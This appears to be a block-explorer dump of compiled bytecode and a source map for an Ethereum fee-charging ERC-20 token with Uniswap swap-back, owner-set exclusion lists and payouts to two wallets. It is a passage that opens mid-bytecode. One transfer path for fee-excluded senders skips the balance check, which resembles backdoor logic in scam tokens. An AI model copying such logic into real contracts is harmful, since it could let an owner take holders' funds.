565b600282015542600190910155610ede565b6001600160a01b0382165f908152600c602052604081208054909103610edc574281555b505b305f908152602081905260409020547f0000000000000000000000000000000000000000000000000000000000000000108015908190610f215750600d5460ff16155b8015610f4557506001600160a01b0384165f9081526006602052604090205460ff16155b8015610f6957506001600160a01b0384165f9081526007602052604090205460ff16155b8015610f8d57506001600160a01b0383165f9081526007602052604090205460ff16155b15610fb257600d805460ff19166001179055610fa7611387565b600d805460ff191690555b600d546001600160a01b0385165f9081526007602052604090205460ff91821615911680610ff757506001600160a01b0384165f9081526007602052604090205460ff165b15610fff57505f5b5f8115611145576001600160a01b0386165f9081526006602052604090205460ff16801561102a57505f5b1561109a57606461103b5f8661197f565b6110459190611996565b905061105b5f611055818461197f565b90611547565b600a5f82825461106b919061189c565b9091555061107f90505f611055818461197f565b60095f82825461108f919061189c565b909155506111279050565b6001600160a01b0385165f9081526006602052604090205460ff1680156110bf575060015b156111275760646110d160018661197f565b6110db9190611996565b90506110ec60016110555f8461197f565b600a5f8282546110fc919061189c565b9091555061111190506001611055818461197f565b60095f828254611121919061189c565b90915550505b8015611138576111388630836111fc565b611142818561196c565b93505b6111508686866111fc565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260066020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166112225760405162461bcd60e51b815260040161085b906118e4565b6001600160a01b0382166112485760405162461bcd60e51b815260040161085b90611929565b6001600160a01b0383165f90815260208190526040902054818110156112bf5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161085b565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906112f590849061189c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134191815260200190565b60405180910390a350505050565b6001600160a01b038084165f9081526020819052604080822080548581039091559285168252812080548492906112f590849061189c565b305f9081526020819052604081205490505f600a546009546113a9919061189c565b90505f8215806113b7575081155b156113c157505050565b6113ec7f0000000000000000000000000000000000000000000000000000000000000000601461197f565b8311156114215761141e7f0000000000000000000000000000000000000000000000000000000000000000601461197f565b92505b824761142c82611559565b5f611437824761196c565b90505f85600a5483611449919061197f565b6114539190611996565b5f6009819055600a8190556040519192507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031691839181818185875af1925050503d805f81146114c6576040519150601f19603f3d011682016040523d82523d5f602084013e6114cb565b606091505b50506040519095506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169047905f81818185875af1925050503d805f8114611536576040519150601f19603f3d011682016040523d82523d5f602084013e61153b565b606091505b50505050505050505050565b5f6115528284611996565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061158c5761158c6119b5565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611608573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061162c91906119c9565b8160018151811061163f5761163f6119b5565b60200260200101906001600160a01b031690816001600160a01b03168152505061168a307f000000000000000000000000000000000000000000000000000000000000000084610bc1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906116de9085905f908690309042906004016119e4565b5f604051808303815f87803b1580156116f5575f80fd5b505af1158015611150573d5f803e3d5ffd5b5f6020808352835180828501525f5b8181101561173257858101830151858201604001528201611716565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bbe575f80fd5b5f8060408385031215611777575f80fd5b823561178281611752565b946020939093013593505050565b5f805f606084860312156117a2575f80fd5b83356117ad81611752565b925060208401356117bd81611752565b929592945050506040919091013590565b5f602082840312156117de575f80fd5b813561155281611752565b5f80604083850312156117fa575f80fd5b823561180581611752565b915060208301358015158114611819575f80fd5b809150509250929050565b5f8060408385031215611835575f80fd5b823561184081611752565b9150602083013561181981611752565b600181811c9082168061186457607f821691505b60208210810361188257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156107c9576107c9611888565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107c9576107c9611888565b80820281158282048414176107c9576107c9611888565b5f826119b057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119d9575f80fd5b815161155281611752565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a325784516001600160a01b031683529383019391830191600101611a0d565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ec03437d0b332d39c759d809a5e3bace9e6dc0b2df5a830a8f2e870bd5c97d7764736f6c634300081500334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
0x608060405260043610610220575f3560e01c80638ea5220f1161011e578063b62496f5116100a8578063d85ba0631161006d578063d85ba063146104b5578063dd62ed3e1461066c578063e2f45605146106b0578063f2fde38b146106e3578063f887ea4014610702575f80fd5b8063b62496f51461059e578063c0246668146105cc578063c424134c146105eb578063c876d0b914610619578063d469801614610639575f80fd5b80639c3b4fdc116100ee5780639c3b4fdc146104b55780639fccce321461054b578063a0d82dc5146104b5578063a457c2d714610560578063a9059cbb1461057f575f80fd5b80638ea5220f146104e557806392136913146103e557806395d89b41146105185780639a7a23d61461052c575f80fd5b80634a62bb65116101aa578063715018a61161016f578063715018a61461044d5780637571336a1461046357806375f0a874146104825780637bce5a04146104b55780638da5cb5b146104c8575f80fd5b80634a62bb651461038e5780634fbee193146103ae5780636a486a8e146103e55780636ddd1713146103f957806370a0823114610419575f80fd5b80631f3fed8f116101f05780631f3fed8f146102ed57806323b872dd14610302578063313ce56714610321578063395093511461033c57806349bd5a5e1461035b575f80fd5b806306fdde031461022b578063095ea7b3146102555780631694505e1461028457806318160ddd146102cf575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b5061023f610729565b60405161024c9190611707565b60405180910390f35b348015610260575f80fd5b5061027461026f366004611766565b6107b9565b604051901515815260200161024c565b34801561028f575f80fd5b506102b77f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161024c565b3480156102da575f80fd5b506002545b60405190815260200161024c565b3480156102f8575f80fd5b506102df60095481565b34801561030d575f80fd5b5061027461031c366004611790565b6107cf565b34801561032c575f80fd5b506040516012815260200161024c565b348015610347575f80fd5b50610274610356366004611766565b61087c565b348015610366575f80fd5b506102b77f000000000000000000000000fa0d50a509f8fbfe6d7a62329500ef50d57422e281565b348015610399575f80fd5b5060055461027490600160a81b900460ff1681565b3480156103b9575f80fd5b506102746103c83660046117ce565b6001600160a01b03165f9081526007602052604090205460ff1690565b3480156103f0575f80fd5b506102df600181565b348015610404575f80fd5b5060055461027490600160a01b900460ff1681565b348015610424575f80fd5b506102df6104333660046117ce565b6001600160a01b03165f9081526020819052604090205490565b348015610458575f80fd5b506104616108b7565b005b34801561046e575f80fd5b5061046161047d3660046117e9565b6108ec565b34801561048d575f80fd5b506102b77f0000000000000000000000008b35386bfbd928ee80f03d38c1fb04d0f32b29c381565b3480156104c0575f80fd5b506102df5f81565b3480156104d3575f80fd5b506005546001600160a01b03166102b7565b3480156104f0575f80fd5b506102b77f000000000000000000000000acf0c65f44dfdb5b808810069f1ce0a56fdd531a81565b348015610523575f80fd5b5061023f610940565b348015610537575f80fd5b506104616105463660046117e9565b61094f565b348015610556575f80fd5b506102df600a5481565b34801561056b575f80fd5b5061027461057a366004611766565b610a2e565b34801561058a575f80fd5b50610274610599366004611766565b610ac6565b3480156105a9575f80fd5b506102746105b83660046117ce565b60066020525f908152604090205460ff1681565b3480156105d7575f80fd5b506104616105e63660046117e9565b610ad2565b3480156105f6575f80fd5b506102746106053660046117ce565b60086020525f908152604090205460ff1681565b348015610624575f80fd5b5060055461027490600160b01b900460ff1681565b348015610644575f80fd5b506102b77f0000000000000000000000004bb9e51549d421d6d7a5b92e4433016a05c8863d81565b348015610677575f80fd5b506102df610686366004611824565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156106bb575f80fd5b506102df7f00000000000000000000000000000000000000000002da90dfefdc9a3840000081565b3480156106ee575f80fd5b506104616106fd3660046117ce565b610b26565b34801561070d575f80fd5b506102b7737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60606003805461073890611850565b80601f016020809104026020016040519081016040528092919081815260200182805461076490611850565b80156107af5780601f10610786576101008083540402835291602001916107af565b820191905f5260205f20905b81548152906001019060200180831161079257829003601f168201915b5050505050905090565b5f6107c5338484610bc1565b5060015b92915050565b5f6107db848484610ce4565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156108645760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6108718533858403610bc1565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107c59185906108b290869061189c565b610bc1565b6005546001600160a01b031633146108e15760405162461bcd60e51b815260040161085b906118af565b6108ea5f611158565b565b6005546001600160a01b031633146109165760405162461bcd60e51b815260040161085b906118af565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b60606004805461073890611850565b6005546001600160a01b031633146109795760405162461bcd60e51b815260040161085b906118af565b7f000000000000000000000000fa0d50a509f8fbfe6d7a62329500ef50d57422e26001600160a01b0316826001600160a01b031603610a205760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161085b565b610a2a82826111a9565b5050565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610aaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161085b565b610abc3385858403610bc1565b5060019392505050565b5f6107c5338484610ce4565b6005546001600160a01b03163314610afc5760405162461bcd60e51b815260040161085b906118af565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610b505760405162461bcd60e51b815260040161085b906118af565b6001600160a01b038116610bb55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161085b565b610bbe81611158565b50565b6001600160a01b038316610c235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161085b565b6001600160a01b038216610c845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0a5760405162461bcd60e51b815260040161085b906118e4565b6001600160a01b038216610d305760405162461bcd60e51b815260040161085b90611929565b805f03610d4757610d4283835f6111fc565b505050565b6001600160a01b0383165f9081526007602052604090205460ff1680610d8457506001600160a01b0382165f9081526007602052604090205460ff165b8015610d9957506001600160a01b0382163014155b8015610dae57506001600160a01b0383163014155b15610db85742600b555b6001600160a01b0383165f9081526007602052604090205460ff168015610e0d575060075f610def6005546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205460ff16155b15610e1d57610d4283838361134f565b6001600160a01b0383165f9081526007602052604090205460ff16158015610e5d57506001600160a01b0382165f9081526007602052604090205460ff16155b15610ede576001600160a01b0383165f9081526006602052604090205460ff16610eb8576001600160a01b0383165f908152600c60205260409020600b548154610ea7919061196c565b600282015542600190910155610ede565b6001600160a01b0382165f908152600c602052604081208054909103610edc574281555b505b305f908152602081905260409020547f00000000000000000000000000000000000000000002da90dfefdc9a38400000108015908190610f215750600d5460ff16155b8015610f4557506001600160a01b0384165f9081526006602052604090205460ff16155b8015610f6957506001600160a01b0384165f9081526007602052604090205460ff16155b8015610f8d57506001600160a01b0383165f9081526007602052604090205460ff16155b15610fb257600d805460ff19166001179055610fa7611387565b600d805460ff191690555b600d546001600160a01b0385165f9081526007602052604090205460ff91821615911680610ff757506001600160a01b0384165f9081526007602052604090205460ff165b15610fff57505f5b5f8115611145576001600160a01b0386165f9081526006602052604090205460ff16801561102a57505f5b1561109a57606461103b5f8661197f565b6110459190611996565b905061105b5f611055818461197f565b90611547565b600a5f82825461106b919061189c565b9091555061107f90505f611055818461197f565b60095f82825461108f919061189c565b909155506111279050565b6001600160a01b0385165f9081526006602052604090205460ff1680156110bf575060015b156111275760646110d160018661197f565b6110db9190611996565b90506110ec60016110555f8461197f565b600a5f8282546110fc919061189c565b9091555061111190506001611055818461197f565b60095f828254611121919061189c565b90915550505b8015611138576111388630836111fc565b611142818561196c565b93505b6111508686866111fc565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260066020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166112225760405162461bcd60e51b815260040161085b906118e4565b6001600160a01b0382166112485760405162461bcd60e51b815260040161085b90611929565b6001600160a01b0383165f90815260208190526040902054818110156112bf5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161085b565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906112f590849061189c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134191815260200190565b60405180910390a350505050565b6001600160a01b038084165f9081526020819052604080822080548581039091559285168252812080548492906112f590849061189c565b305f9081526020819052604081205490505f600a546009546113a9919061189c565b90505f8215806113b7575081155b156113c157505050565b6113ec7f00000000000000000000000000000000000000000002da90dfefdc9a38400000601461197f565b8311156114215761141e7f00000000000000000000000000000000000000000002da90dfefdc9a38400000601461197f565b92505b824761142c82611559565b5f611437824761196c565b90505f85600a5483611449919061197f565b6114539190611996565b5f6009819055600a8190556040519192507f000000000000000000000000acf0c65f44dfdb5b808810069f1ce0a56fdd531a6001600160a01b031691839181818185875af1925050503d805f81146114c6576040519150601f19603f3d011682016040523d82523d5f602084013e6114cb565b606091505b50506040519095506001600160a01b037f0000000000000000000000008b35386bfbd928ee80f03d38c1fb04d0f32b29c3169047905f81818185875af1925050503d805f8114611536576040519150601f19603f3d011682016040523d82523d5f602084013e61153b565b606091505b50505050505050505050565b5f6115528284611996565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061158c5761158c6119b5565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611608573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061162c91906119c9565b8160018151811061163f5761163f6119b5565b60200260200101906001600160a01b031690816001600160a01b03168152505061168a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610bc1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906116de9085905f908690309042906004016119e4565b5f604051808303815f87803b1580156116f5575f80fd5b505af1158015611150573d5f803e3d5ffd5b5f6020808352835180828501525f5b8181101561173257858101830151858201604001528201611716565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bbe575f80fd5b5f8060408385031215611777575f80fd5b823561178281611752565b946020939093013593505050565b5f805f606084860312156117a2575f80fd5b83356117ad81611752565b925060208401356117bd81611752565b929592945050506040919091013590565b5f602082840312156117de575f80fd5b813561155281611752565b5f80604083850312156117fa575f80fd5b823561180581611752565b915060208301358015158114611819575f80fd5b809150509250929050565b5f8060408385031215611835575f80fd5b823561184081611752565b9150602083013561181981611752565b600181811c9082168061186457607f821691505b60208210810361188257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156107c9576107c9611888565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107c9576107c9611888565b80820281158282048414176107c9576107c9611888565b5f826119b057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119d9575f80fd5b815161155281611752565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a325784516001600160a01b031683529383019391830191600101611a0d565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ec03437d0b332d39c759d809a5e3bace9e6dc0b2df5a830a8f2e870bd5c97d7764736f6c63430008150033
Deployed Bytecode Sourcemap
9151:8343:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2891:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3805:169;;;;;;;;;;-1:-1:-1;3805:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3805:169:0;1023:187:1;9962:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;9962:51:0;1215:229:1;3212:108:0;;;;;;;;;;-1:-1:-1;3300:12:0;;3212:108;;;1595:25:1;;;1583:2;1568:18;3212:108:0;1449:177:1;10488:33:0;;;;;;;;;;;;;;;;3982:492;;;;;;;;;;-1:-1:-1;3982:492:0;;;;;:::i;:::-;;:::i;3111:93::-;;;;;;;;;;-1:-1:-1;3111:93:0;;3194:2;2234:36:1;;2222:2;2207:18;3111:93:0;2092:184:1;4482:215:0;;;;;;;;;;-1:-1:-1;4482:215:0;;;;;:::i;:::-;;:::i;10020:38::-;;;;;;;;;;;;;;;10156:34;;;;;;;;;;-1:-1:-1;10156:34:0;;;;-1:-1:-1;;;10156:34:0;;;;;;12289:120;;;;;;;;;;-1:-1:-1;12289:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;12376:25:0;12352:4;12376:25;;;:19;:25;;;;;;;;;12289:120;9589:41;;;;;;;;;;;;9629:1;9589:41;;10119:30;;;;;;;;;;-1:-1:-1;10119:30:0;;;;-1:-1:-1;;;10119:30:0;;;;;;3328:127;;;;;;;;;;-1:-1:-1;3328:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3429:18:0;3402:7;3429:18;;;;;;;;;;;;3328:127;1013:103;;;;;;;;;;;;;:::i;:::-;;12417:134;;;;;;;;;;-1:-1:-1;12417:134:0;;;;;:::i;:::-;;:::i;9748:102::-;;;;;;;;;;;;;;;9330:43;;;;;;;;;;;;9372:1;9330:43;;790:87;;;;;;;;;;-1:-1:-1;863:6:0;;-1:-1:-1;;;;;863:6:0;790:87;;9857:96;;;;;;;;;;;;;;;2999:104;;;;;;;;;;;;;:::i;12559:265::-;;;;;;;;;;-1:-1:-1;12559:265:0;;;;;:::i;:::-;;:::i;10528:27::-;;;;;;;;;;;;;;;;4705:413;;;;;;;;;;-1:-1:-1;4705:413:0;;;;;:::i;:::-;;:::i;3463:175::-;;;;;;;;;;-1:-1:-1;3463:175:0;;;;;:::i;:::-;;:::i;10244:57::-;;;;;;;;;;-1:-1:-1;10244:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12163:118;;;;;;;;;;-1:-1:-1;12163:118:0;;;;;:::i;:::-;;:::i;10422:57::-;;;;;;;;;;-1:-1:-1;10422:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10197:40;;;;;;;;;;-1:-1:-1;10197:40:0;;;;-1:-1:-1;;;10197:40:0;;;;;;9639:102;;;;;;;;;;;;;;;3646:151;;;;;;;;;;-1:-1:-1;3646:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3762:18:0;;;3735:7;3762:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3646:151;10067:43;;;;;;;;;;;;;;;1124:201;;;;;;;;;;-1:-1:-1;1124:201:0;;;;;:::i;:::-;;:::i;9227:75::-;;;;;;;;;;;;9260:42;9227:75;;2891:100;2945:13;2978:5;2971:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2891:100;:::o;3805:169::-;3888:4;3905:39;416:10;3928:7;3937:6;3905:8;:39::i;:::-;-1:-1:-1;3962:4:0;3805:169;;;;;:::o;3982:492::-;4122:4;4139:36;4149:6;4157:9;4168:6;4139:9;:36::i;:::-;-1:-1:-1;;;;;4215:19:0;;4188:24;4215:19;;;:11;:19;;;;;;;;416:10;4215:33;;;;;;;;4267:26;;;;4259:79;;;;-1:-1:-1;;;4259:79:0;;4366:2:1;4259:79:0;;;4348:21:1;4405:2;4385:18;;;4378:30;4444:34;4424:18;;;4417:62;-1:-1:-1;;;4495:18:1;;;4488:38;4543:19;;4259:79:0;;;;;;;;;4374:57;4383:6;416:10;4424:6;4405:16;:25;4374:8;:57::i;:::-;-1:-1:-1;4462:4:0;;3982:492;-1:-1:-1;;;;3982:492:0:o;4482:215::-;416:10;4570:4;4619:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4619:34:0;;;;;;;;;;4570:4;;4587:80;;4610:7;;4619:47;;4656:10;;4619:47;:::i;:::-;4587:8;:80::i;1013:103::-;863:6;;-1:-1:-1;;;;;863:6:0;416:10;925:23;917:68;;;;-1:-1:-1;;;917:68:0;;;;;;;:::i;:::-;1078:30:::1;1105:1;1078:18;:30::i;:::-;1013:103::o:0;12417:134::-;863:6;;-1:-1:-1;;;;;863:6:0;416:10;925:23;917:68;;;;-1:-1:-1;;;917:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12505:31:0;;;::::1;;::::0;;;:25:::1;:31;::::0;;;;:38;;-1:-1:-1;;12505:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12417:134::o;2999:104::-;3055:13;3088:7;3081:14;;;;;:::i;12559:265::-;863:6;;-1:-1:-1;;;;;863:6:0;416:10;925:23;917:68;;;;-1:-1:-1;;;917:68:0;;;;;;;:::i;:::-;12689:13:::1;-1:-1:-1::0;;;;;12681:21:0::1;:4;-1:-1:-1::0;;;;;12681:21:0::1;::::0;12673:91:::1;;;::::0;-1:-1:-1;;;12673:91:0;;5398:2:1;12673:91:0::1;::::0;::::1;5380:21:1::0;5437:2;5417:18;;;5410:30;5476:34;5456:18;;;5449:62;5547:27;5527:18;;;5520:55;5592:19;;12673:91:0::1;5196:421:1::0;12673:91:0::1;12775:41;12804:4;12810:5;12775:28;:41::i;:::-;12559:265:::0;;:::o;4705:413::-;416:10;4798:4;4842:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4842:34:0;;;;;;;;;;4895:35;;;;4887:85;;;;-1:-1:-1;;;4887:85:0;;5824:2:1;4887:85:0;;;5806:21:1;5863:2;5843:18;;;5836:30;5902:34;5882:18;;;5875:62;-1:-1:-1;;;5953:18:1;;;5946:35;5998:19;;4887:85:0;5622:401:1;4887:85:0;5008:67;416:10;5031:7;5059:15;5040:16;:34;5008:8;:67::i;:::-;-1:-1:-1;5106:4:0;;4705:413;-1:-1:-1;;;4705:413:0:o;3463:175::-;3549:4;3566:42;416:10;3590:9;3601:6;3566:9;:42::i;12163:118::-;863:6;;-1:-1:-1;;;;;863:6:0;416:10;925:23;917:68;;;;-1:-1:-1;;;917:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12241:25:0;;;::::1;;::::0;;;:19:::1;:25;::::0;;;;:32;;-1:-1:-1;;12241:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12163:118::o;1124:201::-;863:6;;-1:-1:-1;;;;;863:6:0;416:10;925:23;917:68;;;;-1:-1:-1;;;917:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1213:22:0;::::1;1205:73;;;::::0;-1:-1:-1;;;1205:73:0;;6230:2:1;1205:73:0::1;::::0;::::1;6212:21:1::0;6269:2;6249:18;;;6242:30;6308:34;6288:18;;;6281:62;-1:-1:-1;;;6359:18:1;;;6352:36;6405:19;;1205:73:0::1;6028:402:1::0;1205:73:0::1;1289:28;1308:8;1289:18;:28::i;:::-;1124:201:::0;:::o;7365:380::-;-1:-1:-1;;;;;7501:19:0;;7493:68;;;;-1:-1:-1;;;7493:68:0;;6637:2:1;7493:68:0;;;6619:21:1;6676:2;6656:18;;;6649:30;6715:34;6695:18;;;6688:62;-1:-1:-1;;;6766:18:1;;;6759:34;6810:19;;7493:68:0;6435:400:1;7493:68:0;-1:-1:-1;;;;;7580:21:0;;7572:68;;;;-1:-1:-1;;;7572:68:0;;7042:2:1;7572:68:0;;;7024:21:1;7081:2;7061:18;;;7054:30;7120:34;7100:18;;;7093:62;-1:-1:-1;;;7171:18:1;;;7164:32;7213:19;;7572:68:0;6840:398:1;7572:68:0;-1:-1:-1;;;;;7653:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7705:32;;1595:25:1;;;7705:32:0;;1568:18:1;7705:32:0;;;;;;;7365:380;;;:::o;13063:2841::-;-1:-1:-1;;;;;13195:18:0;;13187:68;;;;-1:-1:-1;;;13187:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13274:16:0;;13266:64;;;;-1:-1:-1;;;13266:64:0;;;;;;;:::i;:::-;13347:6;13357:1;13347:11;13343:93;;13375:28;13391:4;13397:2;13401:1;13375:15;:28::i;:::-;13063:2841;;;:::o;13343:93::-;-1:-1:-1;;;;;13453:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;13482:23:0;;;;;;:19;:23;;;;;;;;13453:52;13452:77;;;;-1:-1:-1;;;;;;13510:19:0;;13524:4;13510:19;;13452:77;:102;;;;-1:-1:-1;;;;;;13533:21:0;;13549:4;13533:21;;13452:102;13448:162;;;13583:15;13571:9;:27;13448:162;-1:-1:-1;;;;;13624:25:0;;;;;;:19;:25;;;;;;;;:58;;;;;13654:19;:28;13674:7;863:6;;-1:-1:-1;;;;;863:6:0;;790:87;13674:7;-1:-1:-1;;;;;13654:28:0;;;;;;;;;;;;-1:-1:-1;13654:28:0;;;;13653:29;13624:58;13620:146;;;13699:34;13716:4;13722:2;13726:6;13699:16;:34::i;13620:146::-;-1:-1:-1;;;;;13781:25:0;;;;;;:19;:25;;;;;;;;13780:26;:54;;;;-1:-1:-1;;;;;;13811:23:0;;;;;;:19;:23;;;;;;;;13810:24;13780:54;13776:581;;;-1:-1:-1;;;;;13856:31:0;;;;;;:25;:31;;;;;;;;13851:495;;-1:-1:-1;;;;;13947:17:0;;13908:36;13947:17;;;:11;:17;;;;;14038:9;;14015:20;;:32;;14038:9;14015:32;:::i;:::-;13983:29;;;:64;14090:15;14066:21;;;;:39;13851:495;;;-1:-1:-1;;;;;14185:15:0;;14146:36;14185:15;;;:11;:15;;;;;14223:20;;14185:15;;14223:25;14219:112;;14296:15;14273:38;;14219:112;14127:219;13851:495;14402:4;14369:12;3429:18;;;;;;;;;;;14412;-1:-1:-1;14384:46:0;;;;;14461:33;;-1:-1:-1;14486:8:0;;;;14485:9;14461:33;:82;;;;-1:-1:-1;;;;;;14512:31:0;;;;;;:25;:31;;;;;;;;14511:32;14461:82;:125;;;;-1:-1:-1;;;;;;14561:25:0;;;;;;:19;:25;;;;;;;;14560:26;14461:125;:166;;;;-1:-1:-1;;;;;;14604:23:0;;;;;;:19;:23;;;;;;;;14603:24;14461:166;14443:298;;;14654:8;:15;;-1:-1:-1;;14654:15:0;14665:4;14654:15;;;14686:10;:8;:10::i;:::-;14713:8;:16;;-1:-1:-1;;14713:16:0;;;14443:298;14769:8;;-1:-1:-1;;;;;14841:25:0;;14753:12;14841:25;;;:19;:25;;;;;;14769:8;;;;14768:9;;14841:25;;:52;;-1:-1:-1;;;;;;14870:23:0;;;;;;:19;:23;;;;;;;;14841:52;14837:100;;;-1:-1:-1;14920:5:0;14837:100;14949:12;15047:7;15043:808;;;-1:-1:-1;;;;;15098:31:0;;;;;;:25;:31;;;;;;;;:51;;;;-1:-1:-1;15148:1:0;15098:51;15094:608;;;15201:3;15177:21;9463:1;15177:6;:21;:::i;:::-;:27;;;;:::i;:::-;15170:34;-1:-1: